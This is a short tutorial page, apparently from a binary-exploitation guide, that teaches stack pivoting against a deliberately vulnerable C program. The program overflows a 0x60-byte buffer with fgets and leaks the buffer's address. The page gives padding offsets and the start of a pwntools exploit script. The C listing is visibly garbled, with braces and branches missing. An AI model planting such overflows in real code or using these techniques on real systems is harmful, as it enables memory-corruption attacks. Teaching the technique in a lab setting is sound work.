Comment on page


Stack Pivoting


// gcc source.c -o vuln -no-pie
#include <stdio.h>
void winner(int a, int b) {
if(a == 0xdeadbeef && b == 0xdeadc0de) {
puts("Great job!");
puts("Whelp, almost...?");
void vuln() {
char buffer[0x60];
printf("Try pivoting to: %p\n", buffer);
fgets(buffer, 0x80, stdin);
int main() {
return 0;
It's fairly clear what the aim is - call winner() with the two correct parameters. The fgets() means there's a limited number of bytes we can overflow, and it's not enough for a regular ROP chain. There's also a leak to the start of the buffer, so we know where to set RSP to.
We'll try two ways - using pop rsp, and using leave; ret. There's no xchg gadget, but it's virtually identical to just popping RSP anyway.
Since I assume you know how to calculate padding, I'll tell you there's 96 until we overwrite stored RBP and 104 (as expected) until stored RIP.

Basic Setup

Just to get the basics out of the way, as this is common to both approaches:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')